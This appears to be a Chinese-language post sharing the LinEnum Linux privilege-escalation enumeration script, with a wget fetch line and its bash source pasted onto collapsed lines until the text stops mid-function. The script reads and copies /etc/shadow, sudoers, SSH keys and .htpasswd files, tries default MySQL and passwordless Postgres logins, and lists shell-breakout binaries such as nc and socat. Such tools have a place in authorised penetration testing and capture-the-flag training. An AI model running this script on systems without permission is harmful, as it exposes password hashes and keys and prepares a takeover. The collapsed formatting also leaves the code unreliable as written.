*另一个提权脚本:wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
代码如下:
#!/bin/bash #A script to enumerate local information from a Linux host version="version 0.94" #@rebootuser #help function usage () { echo -e "\n\e[00;31m#########################################################\e[00m" echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" echo -e "\e[00;31m#########################################################\e[00m" echo -e "\e[00;33m# www.rebootuser.com | @rebootuser \e[00m" echo -e "\e[00;33m# $version\e[00m\n" echo -e "\e[00;33m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \e[00m\n" echo "OPTIONS:" echo "-k Enter keyword" echo "-e Enter export location" echo "-s Supply user password for sudo checks (INSECURE)" echo "-t Include thorough (lengthy) tests" echo "-r Enter report name" echo "-h Displays this help text" echo -e "\n" echo "Running with no options = limited scans/no output file" echo -e "\e[00;31m#########################################################\e[00m" } header() { echo -e "\n\e[00;31m#########################################################\e[00m" echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" echo -e "\e[00;31m#########################################################\e[00m" echo -e "\e[00;33m# www.rebootuser.com\e[00m" echo -e "\e[00;33m# $version\e[00m\n" } debug_info() { echo "[-] Debug Info" if [ "$keyword" ]; then echo "[+] Searching for the keyword $keyword in conf, php, ini and log files" fi if [ "$report" ]; then echo "[+] Report name = $report" fi if [ "$export" ]; then echo "[+] Export location = $export" fi if [ "$thorough" ]; then echo "[+] Thorough tests = Enabled" else echo -e "\e[00;33m[+] Thorough tests = Disabled (SUID/GUID checks will not be perfomed!)\e[00m" fi sleep 2 if [ "$export" ]; then mkdir $export 2>/dev/null format=$export/LinEnum-export-`date +"%d-%m-%y"` mkdir $format 2>/dev/null fi if [ "$sudopass" ]; then echo -e "\e[00;35m[+] Please enter password - INSECURE - really only for CTF use!\e[00m" read -s userpassword echo fi who=`whoami` 2>/dev/null echo -e "\n" echo -e "\e[00;33mScan started at:"; date echo -e "\e[00m\n" } # useful binaries (thanks to https://gtfobins.github.io/) binarylist='nmap\|perl\|awk\|find\|bash\|sh\|man\|more\|less\|vi\|emacs\|vim\|nc\|netcat\|python\|ruby\|lua\|irb\|tar\|zip\|gdb\|pico\|scp\|git\|rvim\|script\|ash\|csh\|curl\|dash\|ed\|env\|expect\|ftp\|sftp\|node\|php\|rpm\|rpmquery\|socat\|strace\|taskset\|tclsh\|telnet\|tftp\|wget\|wish\|zsh\|ssh' system_info() { echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" #basic kernel info unameinfo=`uname -a 2>/dev/null` if [ "$unameinfo" ]; then echo -e "\e[00;31m[-] Kernel information:\e[00m\n$unameinfo" echo -e "\n" fi procver=`cat /proc/version 2>/dev/null` if [ "$procver" ]; then echo -e "\e[00;31m[-] Kernel information (continued):\e[00m\n$procver" echo -e "\n" fi #search all *-release files for version info release=`cat /etc/*-release 2>/dev/null` if [ "$release" ]; then echo -e "\e[00;31m[-] Specific release information:\e[00m\n$release" echo -e "\n" fi #target hostname info hostnamed=`hostname 2>/dev/null` if [ "$hostnamed" ]; then echo -e "\e[00;31m[-] Hostname:\e[00m\n$hostnamed" echo -e "\n" fi } user_info() { echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" #current user details currusr=`id 2>/dev/null` if [ "$currusr" ]; then echo -e "\e[00;31m[-] Current user/group info:\e[00m\n$currusr" echo -e "\n" fi #last logged on user information lastlogedonusrs=`lastlog 2>/dev/null |grep -v "Never" 2>/dev/null` if [ "$lastlogedonusrs" ]; then echo -e "\e[00;31m[-] Users that have previously logged onto the system:\e[00m\n$lastlogedonusrs" echo -e "\n" fi #who else is logged on loggedonusrs=`w 2>/dev/null` if [ "$loggedonusrs" ]; then echo -e "\e[00;31m[-] Who else is logged on:\e[00m\n$loggedonusrs" echo -e "\n" fi #lists all id's and respective group(s) grpinfo=`for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null` if [ "$grpinfo" ]; then echo -e "\e[00;31m[-] Group memberships:\e[00m\n$grpinfo" echo -e "\n" fi #added by phackt - look for adm group (thanks patrick) adm_users=$(echo -e "$grpinfo" | grep "(adm)") if [[ ! -z $adm_users ]]; then echo -e "\e[00;31m[-] It looks like we have some admin users:\e[00m\n$adm_users" echo -e "\n" fi #checks to see if any hashes are stored in /etc/passwd (depreciated *nix storage method) hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null` if [ "$hashesinpasswd" ]; then echo -e "\e[00;33m[+] It looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" echo -e "\n" fi #contents of /etc/passwd readpasswd=`cat /etc/passwd 2>/dev/null` if [ "$readpasswd" ]; then echo -e "\e[00;31m[-] Contents of /etc/passwd:\e[00m\n$readpasswd" echo -e "\n" fi if [ "$export" ] && [ "$readpasswd" ]; then mkdir $format/etc-export/ 2>/dev/null cp /etc/passwd $format/etc-export/passwd 2>/dev/null fi #checks to see if the shadow file can be read readshadow=`cat /etc/shadow 2>/dev/null` if [ "$readshadow" ]; then echo -e "\e[00;33m[+] We can read the shadow file!\e[00m\n$readshadow" echo -e "\n" fi if [ "$export" ] && [ "$readshadow" ]; then mkdir $format/etc-export/ 2>/dev/null cp /etc/shadow $format/etc-export/shadow 2>/dev/null fi #checks to see if /etc/master.passwd can be read - BSD 'shadow' variant readmasterpasswd=`cat /etc/master.passwd 2>/dev/null` if [ "$readmasterpasswd" ]; then echo -e "\e[00;33m[+] We can read the master.passwd file!\e[00m\n$readmasterpasswd" echo -e "\n" fi if [ "$export" ] && [ "$readmasterpasswd" ]; then mkdir $format/etc-export/ 2>/dev/null cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null fi #all root accounts (uid 0) superman=`grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null` if [ "$superman" ]; then echo -e "\e[00;31m[-] Super user account(s):\e[00m\n$superman" echo -e "\n" fi #pull out vital sudoers info sudoers=`grep -v -e '^$' /etc/sudoers 2>/dev/null |grep -v "#" 2>/dev/null` if [ "$sudoers" ]; then echo -e "\e[00;31m[-] Sudoers configuration (condensed):\e[00m$sudoers" echo -e "\n" fi if [ "$export" ] && [ "$sudoers" ]; then mkdir $format/etc-export/ 2>/dev/null cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null fi #can we sudo without supplying a password sudoperms=`echo '' | sudo -S -l -k 2>/dev/null` if [ "$sudoperms" ]; then echo -e "\e[00;33m[+] We can sudo without supplying a password!\e[00m\n$sudoperms" echo -e "\n" fi #check sudo perms - authenticated if [ "$sudopass" ]; then if [ "$sudoperms" ]; then : else sudoauth=`echo $userpassword | sudo -S -l -k 2>/dev/null` if [ "$sudoauth" ]; then echo -e "\e[00;33m[+] We can sudo when supplying a password!\e[00m\n$sudoauth" echo -e "\n" fi fi fi ##known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values) - authenticated if [ "$sudopass" ]; then if [ "$sudoperms" ]; then : else sudopermscheck=`echo $userpassword | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null|sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null` if [ "$sudopermscheck" ]; then echo -e "\e[00;33m[-] Possible sudo pwnage!\e[00m\n$sudopermscheck" echo -e "\n" fi fi fi #known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values) sudopwnage=`echo '' | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null | sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null` if [ "$sudopwnage" ]; then echo -e "\e[00;33m[+] Possible sudo pwnage!\e[00m\n$sudopwnage" echo -e "\n" fi #who has sudoed in the past whohasbeensudo=`find /home -name .sudo_as_admin_successful 2>/dev/null` if [ "$whohasbeensudo" ]; then echo -e "\e[00;31m[-] Accounts that have recently used sudo:\e[00m\n$whohasbeensudo" echo -e "\n" fi #checks to see if roots home directory is accessible rthmdir=`ls -ahl /root/ 2>/dev/null` if [ "$rthmdir" ]; then echo -e "\e[00;33m[+] We can read root's home directory!\e[00m\n$rthmdir" echo -e "\n" fi #displays /home directory permissions - check if any are lax homedirperms=`ls -ahl /home/ 2>/dev/null` if [ "$homedirperms" ]; then echo -e "\e[00;31m[-] Are permissions on /home directories lax:\e[00m\n$homedirperms" echo -e "\n" fi #looks for files we can write to that don't belong to us if [ "$thorough" = "1" ]; then grfilesall=`find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null` if [ "$grfilesall" ]; then echo -e "\e[00;31m[-] Files not owned by user but writable by group:\e[00m\n$grfilesall" echo -e "\n" fi fi #looks for files that belong to us if [ "$thorough" = "1" ]; then ourfilesall=`find / -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null` if [ "$ourfilesall" ]; then echo -e "\e[00;31m[-] Files owned by our user:\e[00m\n$ourfilesall" echo -e "\n" fi fi #looks for hidden files if [ "$thorough" = "1" ]; then hiddenfiles=`find / -name ".*" -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null` if [ "$hiddenfiles" ]; then echo -e "\e[00;31m[-] Hidden files:\e[00m\n$hiddenfiles" echo -e "\n" fi fi #looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch if [ "$thorough" = "1" ]; then wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null` if [ "$wrfileshm" ]; then echo -e "\e[00;31m[-] World-readable files within /home:\e[00m\n$wrfileshm" echo -e "\n" fi fi if [ "$thorough" = "1" ]; then if [ "$export" ] && [ "$wrfileshm" ]; then mkdir $format/wr-files/ 2>/dev/null for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null fi fi #lists current user's home directory contents if [ "$thorough" = "1" ]; then homedircontents=`ls -ahl ~ 2>/dev/null` if [ "$homedircontents" ] ; then echo -e "\e[00;31m[-] Home directory contents:\e[00m\n$homedircontents" echo -e "\n" fi fi #checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch if [ "$thorough" = "1" ]; then sshfiles=`find / \( -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} 2>/dev/null \;` if [ "$sshfiles" ]; then echo -e "\e[00;31m[-] SSH keys/host information found in the following locations:\e[00m\n$sshfiles" echo -e "\n" fi fi if [ "$thorough" = "1" ]; then if [ "$export" ] && [ "$sshfiles" ]; then mkdir $format/ssh-files/ 2>/dev/null for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null fi fi #is root permitted to login via ssh sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print $2}'` if [ "$sshrootlogin" = "yes" ]; then echo -e "\e[00;31m[-] Root is allowed to login via SSH:\e[00m" ; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" echo -e "\n" fi } environmental_info() { echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" #env information envinfo=`env 2>/dev/null | grep -v 'LS_COLORS' 2>/dev/null` if [ "$envinfo" ]; then echo -e "\e[00;31m[-] Environment information:\e[00m\n$envinfo" echo -e "\n" fi #check if selinux is enabled sestatus=`sestatus 2>/dev/null` if [ "$sestatus" ]; then echo -e "\e[00;31m[-] SELinux seems to be present:\e[00m\n$sestatus" echo -e "\n" fi #phackt #current path configuration pathinfo=`echo $PATH 2>/dev/null` if [ "$pathinfo" ]; then echo -e "\e[00;31m[-] Path information:\e[00m\n$pathinfo" echo -e "\n" fi #lists available shells shellinfo=`cat /etc/shells 2>/dev/null` if [ "$shellinfo" ]; then echo -e "\e[00;31m[-] Available shells:\e[00m\n$shellinfo" echo -e "\n" fi #current umask value with both octal and symbolic output umaskvalue=`umask -S 2>/dev/null & umask 2>/dev/null` if [ "$umaskvalue" ]; then echo -e "\e[00;31m[-] Current umask value:\e[00m\n$umaskvalue" echo -e "\n" fi #umask value as in /etc/login.defs umaskdef=`grep -i "^UMASK" /etc/login.defs 2>/dev/null` if [ "$umaskdef" ]; then echo -e "\e[00;31m[-] umask value as specified in /etc/login.defs:\e[00m\n$umaskdef" echo -e "\n" fi #password policy information as stored in /etc/login.defs logindefs=`grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null` if [ "$logindefs" ]; then echo -e "\e[00;31m[-] Password and storage information:\e[00m\n$logindefs" echo -e "\n" fi if [ "$export" ] && [ "$logindefs" ]; then mkdir $format/etc-export/ 2>/dev/null cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null fi } job_info() { echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" #are there any cron jobs configured cronjobs=`ls -la /etc/cron* 2>/dev/null` if [ "$cronjobs" ]; then echo -e "\e[00;31m[-] Cron jobs:\e[00m\n$cronjobs" echo -e "\n" fi #can we manipulate these jobs in any way cronjobwwperms=`find /etc/cron* -perm -0002 -type f -exec ls -la {} \; -exec cat {} 2>/dev/null \;` if [ "$cronjobwwperms" ]; then echo -e "\e[00;33m[+] World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" echo -e "\n" fi #contab contents crontabvalue=`cat /etc/crontab 2>/dev/null` if [ "$crontabvalue" ]; then echo -e "\e[00;31m[-] Crontab contents:\e[00m\n$crontabvalue" echo -e "\n" fi crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null` if [ "$crontabvar" ]; then echo -e "\e[00;31m[-] Anything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" echo -e "\n" fi anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null` if [ "$anacronjobs" ]; then echo -e "\e[00;31m[-] Anacron jobs and associated file permissions:\e[00m\n$anacronjobs" echo -e "\n" fi anacrontab=`ls -la /var/spool/anacron 2>/dev/null` if [ "$anacrontab" ]; then echo -e "\e[00;31m[-] When were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" echo -e "\n" fi #pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command) cronother=`cut -d ":" -f 1 /etc/passwd | xargs -n1 crontab -l -u 2>/dev/null` if [ "$cronother" ]; then echo -e "\e[00;31m[-] Jobs held by all users:\e[00m\n$cronother" echo -e "\n" fi # list systemd timers if [ "$thorough" = "1" ]; then # include inactive timers in thorough mode systemdtimers="$(systemctl list-timers --all 2>/dev/null)" info="" else systemdtimers="$(systemctl list-timers 2>/dev/null |head -n -1 2>/dev/null)" # replace the info in the output with a hint towards thorough mode info="\e[2mEnable thorough tests to see inactive timers\e[00m" fi if [ "$systemdtimers" ]; then echo -e "\e[00;31m[-] Systemd timers:\e[00m\n$systemdtimers\n$info" echo -e "\n" fi } networking_info() { echo -e "\e[00;33m### NETWORKING ##########################################\e[00m" #nic information nicinfo=`/sbin/ifconfig -a 2>/dev/null` if [ "$nicinfo" ]; then echo -e "\e[00;31m[-] Network and IP info:\e[00m\n$nicinfo" echo -e "\n" fi #nic information (using ip) nicinfoip=`/sbin/ip a 2>/dev/null` if [ ! "$nicinfo" ] && [ "$nicinfoip" ]; then echo -e "\e[00;31m[-] Network and IP info:\e[00m\n$nicinfoip" echo -e "\n" fi arpinfo=`arp -a 2>/dev/null` if [ "$arpinfo" ]; then echo -e "\e[00;31m[-] ARP history:\e[00m\n$arpinfo" echo -e "\n" fi arpinfoip=`ip n 2>/dev/null` if [ ! "$arpinfo" ] && [ "$arpinfoip" ]; then echo -e "\e[00;31m[-] ARP history:\e[00m\n$arpinfoip" echo -e "\n" fi #dns settings nsinfo=`grep "nameserver" /etc/resolv.conf 2>/dev/null` if [ "$nsinfo" ]; then echo -e "\e[00;31m[-] Nameserver(s):\e[00m\n$nsinfo" echo -e "\n" fi nsinfosysd=`systemd-resolve --status 2>/dev/null` if [ "$nsinfosysd" ]; then echo -e "\e[00;31m[-] Nameserver(s):\e[00m\n$nsinfosysd" echo -e "\n" fi #default route configuration defroute=`route 2>/dev/null | grep default` if [ "$defroute" ]; then echo -e "\e[00;31m[-] Default route:\e[00m\n$defroute" echo -e "\n" fi #default route configuration defrouteip=`ip r 2>/dev/null | grep default` if [ ! "$defroute" ] && [ "$defrouteip" ]; then echo -e "\e[00;31m[-] Default route:\e[00m\n$defrouteip" echo -e "\n" fi #listening TCP tcpservs=`netstat -antp 2>/dev/null` if [ "$tcpservs" ]; then echo -e "\e[00;31m[-] Listening TCP:\e[00m\n$tcpservs" echo -e "\n" fi tcpservsip=`ss -t 2>/dev/null` if [ ! "$tcpservs" ] && [ "$tcpservsip" ]; then echo -e "\e[00;31m[-] Listening TCP:\e[00m\n$tcpservsip" echo -e "\n" fi #listening UDP udpservs=`netstat -anup 2>/dev/null` if [ "$udpservs" ]; then echo -e "\e[00;31m[-] Listening UDP:\e[00m\n$udpservs" echo -e "\n" fi udpservsip=`ip -u 2>/dev/null` if [ ! "$udpservs" ] && [ "$udpservsip" ]; then echo -e "\e[00;31m[-] Listening UDP:\e[00m\n$udpservsip" echo -e "\n" fi } services_info() { echo -e "\e[00;33m### SERVICES #############################################\e[00m" #running processes psaux=`ps aux 2>/dev/null` if [ "$psaux" ]; then echo -e "\e[00;31m[-] Running processes:\e[00m\n$psaux" echo -e "\n" fi #lookup process binary path and permissisons procperm=`ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null` if [ "$procperm" ]; then echo -e "\e[00;31m[-] Process binaries and associated permissions (from above list):\e[00m\n$procperm" echo -e "\n" fi if [ "$export" ] && [ "$procperm" ]; then procpermbase=`ps aux 2>/dev/null | awk '{print $11}' | xargs -r ls 2>/dev/null | awk '!x[$0]++' 2>/dev/null` mkdir $format/ps-export/ 2>/dev/null for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null fi #anything 'useful' in inetd.conf inetdread=`cat /etc/inetd.conf 2>/dev/null` if [ "$inetdread" ]; then echo -e "\e[00;31m[-] Contents of /etc/inetd.conf:\e[00m\n$inetdread" echo -e "\n" fi if [ "$export" ] && [ "$inetdread" ]; then mkdir $format/etc-export/ 2>/dev/null cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null fi #very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each inetdbinperms=`awk '{print $7}' /etc/inetd.conf 2>/dev/null |xargs -r ls -la 2>/dev/null` if [ "$inetdbinperms" ]; then echo -e "\e[00;31m[-] The related inetd binary permissions:\e[00m\n$inetdbinperms" echo -e "\n" fi xinetdread=`cat /etc/xinetd.conf 2>/dev/null` if [ "$xinetdread" ]; then echo -e "\e[00;31m[-] Contents of /etc/xinetd.conf:\e[00m\n$xinetdread" echo -e "\n" fi if [ "$export" ] && [ "$xinetdread" ]; then mkdir $format/etc-export/ 2>/dev/null cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null fi xinetdincd=`grep "/etc/xinetd.d" /etc/xinetd.conf 2>/dev/null` if [ "$xinetdincd" ]; then echo -e "\e[00;31m[-] /etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m"; ls -la /etc/xinetd.d 2>/dev/null echo -e "\n" fi #very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each xinetdbinperms=`awk '{print $7}' /etc/xinetd.conf 2>/dev/null |xargs -r ls -la 2>/dev/null` if [ "$xinetdbinperms" ]; then echo -e "\e[00;31m[-] The related xinetd binary permissions:\e[00m\n$xinetdbinperms" echo -e "\n" fi initdread=`ls -la /etc/init.d 2>/dev/null` if [ "$initdread" ]; then echo -e "\e[00;31m[-] /etc/init.d/ binary permissions:\e[00m\n$initdread" echo -e "\n" fi #init.d files NOT belonging to root! initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` if [ "$initdperms" ]; then echo -e "\e[00;31m[-] /etc/init.d/ files not belonging to root:\e[00m\n$initdperms" echo -e "\n" fi rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null` if [ "$rcdread" ]; then echo -e "\e[00;31m[-] /etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" echo -e "\n" fi #init.d files NOT belonging to root! rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` if [ "$rcdperms" ]; then echo -e "\e[00;31m[-] /etc/rc.d/init.d files not belonging to root:\e[00m\n$rcdperms" echo -e "\n" fi usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null` if [ "$usrrcdread" ]; then echo -e "\e[00;31m[-] /usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" echo -e "\n" fi #rc.d files NOT belonging to root! usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` if [ "$usrrcdperms" ]; then echo -e "\e[00;31m[-] /usr/local/etc/rc.d files not belonging to root:\e[00m\n$usrrcdperms" echo -e "\n" fi initread=`ls -la /etc/init/ 2>/dev/null` if [ "$initread" ]; then echo -e "\e[00;31m[-] /etc/init/ config file permissions:\e[00m\n$initread" echo -e "\n" fi # upstart scripts not belonging to root initperms=`find /etc/init \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` if [ "$initperms" ]; then echo -e "\e[00;31m[-] /etc/init/ config files not belonging to root:\e[00m\n$initperms" echo -e "\n" fi systemdread=`ls -lthR /lib/systemd/ 2>/dev/null` if [ "$systemdread" ]; then echo -e "\e[00;31m[-] /lib/systemd/* config file permissions:\e[00m\n$systemdread" echo -e "\n" fi # systemd files not belonging to root systemdperms=`find /lib/systemd/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` if [ "$systemdperms" ]; then echo -e "\e[00;31m[-] /lib/systemd/* config files not belonging to root:\e[00m\n$systemdperms" echo -e "\n" fi } software_configs() { echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" #sudo version - check to see if there are any known vulnerabilities with this sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null` if [ "$sudover" ]; then echo -e "\e[00;31m[-] Sudo version:\e[00m\n$sudover" echo -e "\n" fi #mysql details - if installed mysqlver=`mysql --version 2>/dev/null` if [ "$mysqlver" ]; then echo -e "\e[00;31m[-] MYSQL version:\e[00m\n$mysqlver" echo -e "\n" fi #checks to see if root/root will get us a connection mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null` if [ "$mysqlconnect" ]; then echo -e "\e[00;33m[+] We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" echo -e "\n" fi #mysql version details mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null` if [ "$mysqlconnectnopass" ]; then echo -e "\e[00;33m[+] We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" echo -e "\n" fi #postgres details - if installed postgver=`psql -V 2>/dev/null` if [ "$postgver" ]; then echo -e "\e[00;31m[-] Postgres version:\e[00m\n$postgver" echo -e "\n" fi #checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this postcon1=`psql -U postgres template0 -c 'select version()' 2>/dev/null | grep version` if [ "$postcon1" ]; then echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" echo -e "\n" fi postcon11=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version` if [ "$postcon11" ]; then echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" echo -e "\n" fi postcon2=`psql -U pgsql template0 -c 'select version()' 2>/dev/null | grep version` if [ "$postcon2" ]; then echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" echo -e "\n" fi postcon22=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version` if [ "$postcon22" ]; then echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" echo -e "\n" fi #apache details - if installed apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null` if [ "$apachever" ]; then echo -e "\e[00;31m[-] Apache version:\e[00m\n$apachever" echo -e "\n" fi #what account is apache running under apacheusr=`grep -i 'user\|group' /etc/apache2/envvars 2>/dev/null |awk '{sub(/.*\export /,"")}1' 2>/dev/null` if [ "$apacheusr" ]; then echo -e "\e[00;31m[-] Apache user configuration:\e[00m\n$apacheusr" echo -e "\n" fi if [ "$export" ] && [ "$apacheusr" ]; then mkdir --parents $format/etc-export/apache2/ 2>/dev/null cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null fi #installed apache modules apachemodules=`apache2ctl -M 2>/dev/null; httpd -M 2>/dev/null` if [ "$apachemodules" ]; then echo -e "\e[00;31m[-] Installed Apache modules:\e[00m\n$apachemodules" echo -e "\n" fi #htpasswd check htpasswd=`find / -name .htpasswd -print -exec cat {} \; 2>/dev/null` if [ "$htpasswd" ]; then echo -e "\e[00;33m[-] htpasswd found - could contain passwords:\e[00m\n$htpasswd" echo -e "\n" fi #anything in the default http home dirs (changed to thorough as can be large) if [ "$thorough" = "1" ]; then apachehomedirs=`ls -alhR /var/www/ 2>/dev/null; ls -alhR /srv/www/htdocs/ 2>/dev/null; ls -alhR /usr/local/www/apache2/data/ 2>/dev/null; ls -alhR /opt/lampp/htdocs/ 2>/dev/null` if [ "$apachehomedirs" ]; then echo -e "\e[00;31m[-] www home dir contents:\e[00m\n$apachehomedirs" echo -e "\n" fi fi } interesting_files() { echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" #checks to see if various files are installed echo -e "\e[00;31m[-] Useful file locations:\e[00m" ; which nc 2>/dev/null ; which netcat 2>/dev/null ; which wget 2>/dev/null ; which nmap 2>/dev/null ; which gcc 2>/dev/null; which curl 2>/dev/null echo -e "\n" #limited search for installed compilers compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null` if [ "$compiler" ]; then echo -e "\e[00;31m[-] Installed compilers:\e[00m\n$compiler" echo -e "\n" fi #manual check - lists out sensitive files, can we read/modify etc. echo -e "\e[00;31m[-] Can we read/write sensitive files:\e[00m" ; ls -la /etc/passwd 2>/dev/null ; ls -la /etc/group 2>/dev/null ; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null ; ls -la /etc/master.passwd 2>/dev/null echo -e "\n" #search for suid files - this can take some time so is only 'activated' with thorough scanning switch (as are all suid scans below) if [ "$thorough" = "1" ]; then findsuid=`find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;` if [ "$findsuid" ]; then echo -e "\e[00;31m[-] SUID files:\e[00m\n$findsuid" echo -e "\n" fi fi if [ "$thorough" = "1" ]; then if [ "$export" ] && [ "$findsuid" ]; then mkdir $format/suid-files/ 2>/dev/null for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null fi fi #list of 'interesting' suid files - feel free to make additions if [ "$thorough" = "1" ]; then intsuid=`find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null` if [ "$intsuid" ]; then echo -e "\e[00;33m[+] Possibly interesting SUID files:\e[00m\n$intsuid" echo -e "\n" fi fi #lists word-writable suid files if [ "$thorough" = "1" ]; then wwsuid=`find / -perm -4007 -type f -exec ls -la {} 2>/dev/null \;` if [ "$wwsuid" ]; then echo -e "\e[00;33m[+] World-writable SUID files:\e[00m\n$wwsuid" echo -e "\n" fi fi #lists world-writable suid files owned by root if [ "$thorough" = "1" ]; then wwsuidrt=`find / -uid 0 -perm -4007 -type f -exec ls -la {} 2>/dev/null \;` if [ "$wwsuidrt" ]; then echo -e "\e[00;33m[+] World-writable SUID files owned by root:\e[00m\n$wwsuidrt" echo -e "\n" fi fi #search for guid files - this can take some time so is only 'activated' with thorough scanning switch (as are all guid scans below) if [ "$thorough" = "1" ]; then findguid=`find / -perm -2000 -type f -exec ls -la {} 2>/dev/null \;` if [ "$findguid" ]; then echo -e "\e[00;31m[-] GUID files:\e[00m\n$findguid" echo -e "\n" fi fi if [ "$thorough" = "1" ]; then if [ "$export" ] && [ "$findguid" ]; then mkdir $format/guid-files/ 2>/dev/null for i in $findguid; do cp $i $format/guid-files/; done 2>/dev/null fi fi #list of 'interesting' guid files - feel free to make additions if [ "$thorough" = "1" ]; then intguid=`find / -perm -2000 -type f -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null` if [ "$intguid" ]; then echo -e "\e[00;33m[+] Possibly interesting GUID files:\e[00m\n$intguid" echo -e "\n" fi fi #lists world-writable guid files if [ "$thorough" = "1" ]; then wwguid=`find / -perm -2007 -type f -exec ls -la {} 2>/dev/null \;` if [ "$wwguid" ]; then echo -e "\e[00;33m[+] World-writable GUID files:\e[00m\n$wwguid" echo -e "\n" fi fi #lists world-writable guid files owned by root if [ "$thorough" = "1" ]; then wwguidrt=`find / -uid 0 -perm -2007 -type f -exec ls -la {} 2>/dev/null \;` if [ "$wwguidrt" ]; then echo -e "\e[00;33m[+] World-writable GUID files owned by root:\e[00m\n$wwguidrt" echo -e "\n" fi fi #list all files with POSIX capabilities set along with there capabilities if [ "$thorough" = "1" ]; then fileswithcaps=`getcap -r / 2>/dev/null || /sbin/getcap -r / 2>/dev/null` if [ "$fileswithcaps" ]; then echo -e "\e[00;31m[+] Files with 